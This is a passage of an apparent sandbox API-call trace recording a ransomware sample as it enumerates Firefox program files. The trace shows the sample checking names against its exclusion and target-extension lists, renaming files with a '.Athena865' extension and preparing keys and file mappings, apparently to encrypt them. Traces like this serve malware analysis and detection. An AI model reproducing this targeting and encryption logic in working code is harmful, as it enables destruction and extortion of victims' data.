returned 1 [0044.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0044.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0044.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0044.533] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x34e27100, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nssdbm3.chk", cAlternateFileName="")) returned 1 [0044.533] lstrcmpiW (lpString1="nssdbm3.chk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0044.533] lstrcmpiW (lpString1="nssdbm3.chk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0044.533] lstrcmpiW (lpString1="nssdbm3.chk", lpString2=".") returned 1 [0044.533] lstrcmpiW (lpString1="nssdbm3.chk", lpString2="..") returned 1 [0044.533] lstrcmpiW (lpString1="nssdbm3.chk", lpString2="windows") returned -1 [0044.533] lstrcmpiW (lpString1="nssdbm3.chk", lpString2="bootmgr") returned 1 [0044.533] lstrcmpiW (lpString1="nssdbm3.chk", lpString2="temp") returned -1 [0044.533] lstrcmpiW (lpString1="nssdbm3.chk", lpString2="pagefile.sys") returned -1 [0044.533] lstrcmpiW (lpString1="nssdbm3.chk", lpString2="boot") returned 1 [0044.533] lstrcmpiW (lpString1="nssdbm3.chk", lpString2="ids.txt") returned 1 [0044.533] lstrcmpiW (lpString1="nssdbm3.chk", lpString2="ntuser.dat") returned -1 [0044.533] lstrcmpiW (lpString1="nssdbm3.chk", lpString2="perflogs") returned -1 [0044.533] lstrcmpiW (lpString1="nssdbm3.chk", lpString2="MSBuild") returned 1 [0044.533] lstrlenW (lpString="nssdbm3.chk") returned 11 [0044.533] lstrcpyW (in: lpString1=0x241e896, lpString2="nssdbm3.chk" | out: lpString1="nssdbm3.chk") returned="nssdbm3.chk" [0044.533] lstrlenW (lpString="nssdbm3.chk") returned 11 [0044.533] lstrlenW (lpString="Athena865") returned 9 [0044.534] lstrcmpiW (lpString1="sdbm3.chk", lpString2="Athena865") returned 1 [0044.534] lstrlenW (lpString=".dll") returned 4 [0044.534] lstrcmpiW (lpString1="nssdbm3.chk", lpString2=".dll") returned 1 [0044.534] lstrlenW (lpString=".lnk") returned 4 [0044.534] lstrcmpiW (lpString1="nssdbm3.chk", lpString2=".lnk") returned 1 [0044.534] lstrlenW (lpString=".ini") returned 4 [0044.534] lstrcmpiW (lpString1="nssdbm3.chk", lpString2=".ini") returned 1 [0044.534] lstrlenW (lpString=".sys") returned 4 [0044.534] lstrcmpiW (lpString1="nssdbm3.chk", lpString2=".sys") returned 1 [0044.534] lstrlenW (lpString="nssdbm3.chk") returned 11 [0044.534] lstrlenW (lpString="bak") returned 3 [0044.534] lstrcmpiW (lpString1="chk", lpString2="bak") returned 1 [0044.534] lstrlenW (lpString="ba_") returned 3 [0044.534] lstrcmpiW (lpString1="chk", lpString2="ba_") returned 1 [0044.534] lstrlenW (lpString="dbb") returned 3 [0044.534] lstrcmpiW (lpString1="chk", lpString2="dbb") returned -1 [0044.534] lstrlenW (lpString="vmdk") returned 4 [0044.534] lstrcmpiW (lpString1=".chk", lpString2="vmdk") returned -1 [0044.534] lstrlenW (lpString="rar") returned 3 [0044.534] lstrcmpiW (lpString1="chk", lpString2="rar") returned -1 [0044.534] lstrlenW (lpString="zip") returned 3 [0044.534] lstrcmpiW (lpString1="chk", lpString2="zip") returned -1 [0044.534] lstrlenW (lpString="tgz") returned 3 [0044.534] lstrcmpiW (lpString1="chk", lpString2="tgz") returned -1 [0044.534] lstrlenW (lpString="vbox") returned 4 [0044.534] lstrcmpiW (lpString1=".chk", lpString2="vbox") returned -1 [0044.534] lstrlenW (lpString="vdi") returned 3 [0044.534] lstrcmpiW (lpString1="chk", lpString2="vdi") returned -1 [0044.534] lstrlenW (lpString="vhd") returned 3 [0044.534] lstrcmpiW (lpString1="chk", lpString2="vhd") returned -1 [0044.534] lstrlenW (lpString="vhdx") returned 4 [0044.534] lstrcmpiW (lpString1=".chk", lpString2="vhdx") returned -1 [0044.534] lstrlenW (lpString="avhd") returned 4 [0044.534] lstrcmpiW (lpString1=".chk", lpString2="avhd") returned -1 [0044.534] lstrlenW (lpString="db") returned 2 [0044.534] lstrcmpiW (lpString1="hk", lpString2="db") returned 1 [0044.534] lstrlenW (lpString="db2") returned 3 [0044.534] lstrcmpiW (lpString1="chk", lpString2="db2") returned -1 [0044.535] lstrlenW (lpString="db3") returned 3 [0044.535] lstrcmpiW (lpString1="chk", lpString2="db3") returned -1 [0044.535] lstrlenW (lpString="dbf") returned 3 [0044.535] lstrcmpiW (lpString1="chk", lpString2="dbf") returned -1 [0044.535] lstrlenW (lpString="mdf") returned 3 [0044.535] lstrcmpiW (lpString1="chk", lpString2="mdf") returned -1 [0044.535] lstrlenW (lpString="mdb") returned 3 [0044.535] lstrcmpiW (lpString1="chk", lpString2="mdb") returned -1 [0044.535] lstrlenW (lpString="sql") returned 3 [0044.535] lstrcmpiW (lpString1="chk", lpString2="sql") returned -1 [0044.535] lstrlenW (lpString="sqlite") returned 6 [0044.535] lstrcmpiW (lpString1="m3.chk", lpString2="sqlite") returned -1 [0044.535] lstrlenW (lpString="sqlite3") returned 7 [0044.535] lstrcmpiW (lpString1="bm3.chk", lpString2="sqlite3") returned -1 [0044.535] lstrlenW (lpString="sqlitedb") returned 8 [0044.535] lstrcmpiW (lpString1="dbm3.chk", lpString2="sqlitedb") returned -1 [0044.535] lstrlenW (lpString="xml") returned 3 [0044.535] lstrcmpiW (lpString1="chk", lpString2="xml") returned -1 [0044.535] lstrlenW (lpString="$er") returned 3 [0044.535] lstrcmpiW (lpString1="chk", lpString2="$er") returned 1 [0044.535] lstrlenW (lpString="4dd") returned 3 [0044.535] lstrcmpiW (lpString1="chk", lpString2="4dd") returned 1 [0044.535] lstrlenW (lpString="4dl") returned 3 [0044.535] lstrcmpiW (lpString1="chk", lpString2="4dl") returned 1 [0044.535] lstrlenW (lpString="^^^") returned 3 [0044.535] lstrcmpiW (lpString1="chk", lpString2="^^^") returned 1 [0044.535] lstrlenW (lpString="abs") returned 3 [0044.535] lstrcmpiW (lpString1="chk", lpString2="abs") returned 1 [0044.535] lstrlenW (lpString="abx") returned 3 [0044.535] lstrcmpiW (lpString1="chk", lpString2="abx") returned 1 [0044.535] lstrlenW (lpString="accdb") returned 5 [0044.535] lstrcmpiW (lpString1="3.chk", lpString2="accdb") returned -1 [0044.535] lstrlenW (lpString="accdc") returned 5 [0044.535] lstrcmpiW (lpString1="3.chk", lpString2="accdc") returned -1 [0044.535] lstrlenW (lpString="accde") returned 5 [0044.535] lstrcmpiW (lpString1="3.chk", lpString2="accde") returned -1 [0044.536] lstrlenW (lpString="accdr") returned 5 [0044.536] lstrcmpiW (lpString1="3.chk", lpString2="accdr") returned -1 [0044.536] lstrlenW (lpString="accdt") returned 5 [0044.536] lstrcmpiW (lpString1="3.chk", lpString2="accdt") returned -1 [0044.536] lstrlenW (lpString="accdw") returned 5 [0044.536] lstrcmpiW (lpString1="3.chk", lpString2="accdw") returned -1 [0044.536] lstrlenW (lpString="accft") returned 5 [0044.536] lstrcmpiW (lpString1="3.chk", lpString2="accft") returned -1 [0044.536] lstrlenW (lpString="adb") returned 3 [0044.536] lstrcmpiW (lpString1="chk", lpString2="adb") returned 1 [0044.536] lstrlenW (lpString="adb") returned 3 [0044.536] lstrcmpiW (lpString1="chk", lpString2="adb") returned 1 [0044.536] lstrlenW (lpString="ade") returned 3 [0044.536] lstrcmpiW (lpString1="chk", lpString2="ade") returned 1 [0044.536] lstrlenW (lpString="adf") returned 3 [0044.536] lstrcmpiW (lpString1="chk", lpString2="adf") returned 1 [0044.536] lstrlenW (lpString="adn") returned 3 [0044.536] lstrcmpiW (lpString1="chk", lpString2="adn") returned 1 [0044.536] lstrlenW (lpString="adp") returned 3 [0044.536] lstrcmpiW (lpString1="chk", lpString2="adp") returned 1 [0044.536] lstrlenW (lpString="alf") returned 3 [0044.536] lstrcmpiW (lpString1="chk", lpString2="alf") returned 1 [0044.536] lstrlenW (lpString="ask") returned 3 [0044.536] lstrcmpiW (lpString1="chk", lpString2="ask") returned 1 [0044.536] lstrlenW (lpString="btr") returned 3 [0044.536] lstrcmpiW (lpString1="chk", lpString2="btr") returned 1 [0044.536] lstrlenW (lpString="cat") returned 3 [0044.536] lstrcmpiW (lpString1="chk", lpString2="cat") returned 1 [0044.536] lstrlenW (lpString="cdb") returned 3 [0044.536] lstrcmpiW (lpString1="chk", lpString2="cdb") returned 1 [0044.536] lstrlenW (lpString="ckp") returned 3 [0044.536] lstrcmpiW (lpString1="chk", lpString2="ckp") returned -1 [0044.536] lstrlenW (lpString="cma") returned 3 [0044.536] lstrcmpiW (lpString1="chk", lpString2="cma") returned -1 [0044.536] lstrlenW (lpString="cpd") returned 3 [0044.536] lstrcmpiW (lpString1="chk", lpString2="cpd") returned -1 [0044.537] lstrlenW (lpString="dacpac") returned 6 [0044.537] lstrcmpiW (lpString1="m3.chk", lpString2="dacpac") returned 1 [0044.537] lstrlenW (lpString="dad") returned 3 [0044.537] lstrcmpiW (lpString1="chk", lpString2="dad") returned -1 [0044.537] lstrlenW (lpString="dadiagrams") returned 10 [0044.537] lstrcmpiW (lpString1="ssdbm3.chk", lpString2="dadiagrams") returned 1 [0044.537] lstrlenW (lpString="daschema") returned 8 [0044.537] lstrcmpiW (lpString1="dbm3.chk", lpString2="daschema") returned 1 [0044.537] lstrlenW (lpString="db-journal") returned 10 [0044.537] lstrcmpiW (lpString1="ssdbm3.chk", lpString2="db-journal") returned 1 [0044.537] lstrlenW (lpString="db-shm") returned 6 [0044.537] lstrcmpiW (lpString1="m3.chk", lpString2="db-shm") returned 1 [0044.537] lstrlenW (lpString="db-wal") returned 6 [0044.537] lstrcmpiW (lpString1="m3.chk", lpString2="db-wal") returned 1 [0044.537] lstrlenW (lpString="dbc") returned 3 [0044.537] lstrcmpiW (lpString1="chk", lpString2="dbc") returned -1 [0044.537] lstrlenW (lpString="dbs") returned 3 [0044.537] lstrcmpiW (lpString1="chk", lpString2="dbs") returned -1 [0044.537] lstrlenW (lpString="dbt") returned 3 [0044.537] lstrcmpiW (lpString1="chk", lpString2="dbt") returned -1 [0044.537] lstrlenW (lpString="dbv") returned 3 [0044.537] lstrcmpiW (lpString1="chk", lpString2="dbv") returned -1 [0044.537] lstrlenW (lpString="dbx") returned 3 [0044.537] lstrcmpiW (lpString1="chk", lpString2="dbx") returned -1 [0044.537] lstrlenW (lpString="dcb") returned 3 [0044.537] lstrcmpiW (lpString1="chk", lpString2="dcb") returned -1 [0044.537] lstrcmpiW (lpString1="chk", lpString2="dct") returned -1 [0044.537] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk.Athena865") returned 60 [0044.537] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.chk"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.chk.athena865"), dwFlags=0x1) returned 1 [0044.538] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.chk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0044.538] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=899) returned 1 [0044.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0044.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0044.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0044.539] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0044.539] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0044.539] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0044.540] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x690, lpName=0x0) returned 0x17c [0044.541] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x690) returned 0x100000 [0044.542] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0044.543] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0044.543] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0044.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0044.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0044.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0044.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0044.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0044.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0044.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0044.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0044.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0044.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0044.543] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0044.543] CloseHandle (hObject=0x17c) returned 1 [0044.543] CloseHandle (hObject=0x154) returned 1 [0044.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0044.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0044.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0044.545] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x34e27100, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x16870, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nssdbm3.dll", cAlternateFileName="")) returned 1 [0044.545] lstrcmpiW (lpString1="nssdbm3.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0044.545] lstrcmpiW (lpString1="nssdbm3.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0044.545] lstrcmpiW (lpString1="nssdbm3.dll", lpString2=".") returned 1 [0044.545] lstrcmpiW (lpString1="nssdbm3.dll", lpString2="..") returned 1 [0044.545] lstrcmpiW (lpString1="nssdbm3.dll", lpString2="windows") returned -1 [0044.545] lstrcmpiW (lpString1="nssdbm3.dll", lpString2="bootmgr") returned 1 [0044.545] lstrcmpiW (lpString1="nssdbm3.dll", lpString2="temp") returned -1 [0044.545] lstrcmpiW (lpString1="nssdbm3.dll", lpString2="pagefile.sys") returned -1 [0044.545] lstrcmpiW (lpString1="nssdbm3.dll", lpString2="boot") returned 1 [0044.545] lstrcmpiW (lpString1="nssdbm3.dll", lpString2="ids.txt") returned 1 [0044.545] lstrcmpiW (lpString1="nssdbm3.dll", lpString2="ntuser.dat") returned -1 [0044.545] lstrcmpiW (lpString1="nssdbm3.dll", lpString2="perflogs") returned -1 [0044.545] lstrcmpiW (lpString1="nssdbm3.dll", lpString2="MSBuild") returned 1 [0044.545] lstrlenW (lpString="nssdbm3.dll") returned 11 [0044.545] lstrcpyW (in: lpString1=0x241e896, lpString2="nssdbm3.dll" | out: lpString1="nssdbm3.dll") returned="nssdbm3.dll" [0044.545] lstrlenW (lpString="nssdbm3.dll") returned 11 [0044.545] lstrlenW (lpString="Athena865") returned 9 [0044.545] lstrcmpiW (lpString1="sdbm3.dll", lpString2="Athena865") returned 1 [0044.546] lstrlenW (lpString=".dll") returned 4 [0044.546] lstrcmpiW (lpString1="nssdbm3.dll", lpString2=".dll") returned 1 [0044.546] lstrlenW (lpString=".lnk") returned 4 [0044.546] lstrcmpiW (lpString1="nssdbm3.dll", lpString2=".lnk") returned 1 [0044.546] lstrlenW (lpString=".ini") returned 4 [0044.546] lstrcmpiW (lpString1="nssdbm3.dll", lpString2=".ini") returned 1 [0044.546] lstrlenW (lpString=".sys") returned 4 [0044.546] lstrcmpiW (lpString1="nssdbm3.dll", lpString2=".sys") returned 1 [0044.546] lstrlenW (lpString="nssdbm3.dll") returned 11 [0044.546] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll.Athena865") returned 60 [0044.546] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.dll.athena865"), dwFlags=0x1) returned 1 [0044.547] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0044.547] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=92272) returned 1 [0044.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0044.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0044.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0044.548] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0044.548] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0044.548] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0044.549] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16b70, lpName=0x0) returned 0x17c [0044.550] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16b70) returned 0x100000 [0044.554] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0044.555] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0044.555] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0044.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0044.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0044.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0044.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0044.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0044.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0044.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0044.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0044.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0044.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0044.555] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0044.556] CloseHandle (hObject=0x17c) returned 1 [0044.556] CloseHandle (hObject=0x154) returned 1 [0044.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0044.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0044.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0044.559] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x58a5b700, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x771d55, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0044.559] lstrcmpiW (lpString1="omni.ja", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0044.559] lstrcmpiW (lpString1="omni.ja", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0044.559] lstrcmpiW (lpString1="omni.ja", lpString2=".") returned 1 [0044.559] lstrcmpiW (lpString1="omni.ja", lpString2="..") returned 1 [0044.559] lstrcmpiW (lpString1="omni.ja", lpString2="windows") returned -1 [0044.559] lstrcmpiW (lpString1="omni.ja", lpString2="bootmgr") returned 1 [0044.559] lstrcmpiW (lpString1="omni.ja", lpString2="temp") returned -1 [0044.559] lstrcmpiW (lpString1="omni.ja", lpString2="pagefile.sys") returned -1 [0044.559] lstrcmpiW (lpString1="omni.ja", lpString2="boot") returned 1 [0044.559] lstrcmpiW (lpString1="omni.ja", lpString2="ids.txt") returned 1 [0044.559] lstrcmpiW (lpString1="omni.ja", lpString2="ntuser.dat") returned 1 [0044.559] lstrcmpiW (lpString1="omni.ja", lpString2="perflogs") returned -1 [0044.559] lstrcmpiW (lpString1="omni.ja", lpString2="MSBuild") returned 1 [0044.559] lstrlenW (lpString="omni.ja") returned 7 [0044.559] lstrcpyW (in: lpString1=0x241e896, lpString2="omni.ja" | out: lpString1="omni.ja") returned="omni.ja" [0044.559] lstrlenW (lpString="omni.ja") returned 7 [0044.559] lstrlenW (lpString="Athena865") returned 9 [0044.559] lstrlenW (lpString=".dll") returned 4 [0044.559] lstrcmpiW (lpString1="omni.ja", lpString2=".dll") returned 1 [0044.559] lstrlenW (lpString=".lnk") returned 4 [0044.559] lstrcmpiW (lpString1="omni.ja", lpString2=".lnk") returned 1 [0044.559] lstrlenW (lpString=".ini") returned 4 [0044.560] lstrcmpiW (lpString1="omni.ja", lpString2=".ini") returned 1 [0044.560] lstrlenW (lpString=".sys") returned 4 [0044.560] lstrcmpiW (lpString1="omni.ja", lpString2=".sys") returned 1 [0044.560] lstrlenW (lpString="omni.ja") returned 7 [0044.560] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\omni.ja.Athena865") returned 56 [0044.560] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" (normalized: "c:\\program files (x86)\\mozilla firefox\\omni.ja"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\omni.ja.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\omni.ja.athena865"), dwFlags=0x1) returned 1 [0044.561] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\omni.ja.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\omni.ja.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0044.561] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7806293) returned 1 [0044.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0044.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0044.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0044.561] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0044.562] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0044.562] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0044.562] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x772060, lpName=0x0) returned 0x17c [0044.564] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x172060) returned 0x2d50000 [0044.767] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0044.768] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0044.768] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0044.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0044.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0044.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0044.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0044.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0044.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0044.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0044.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0044.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0044.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0044.769] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0044.782] CloseHandle (hObject=0x17c) returned 1 [0044.782] CloseHandle (hObject=0x154) returned 1 [0045.504] HeapFree (in: 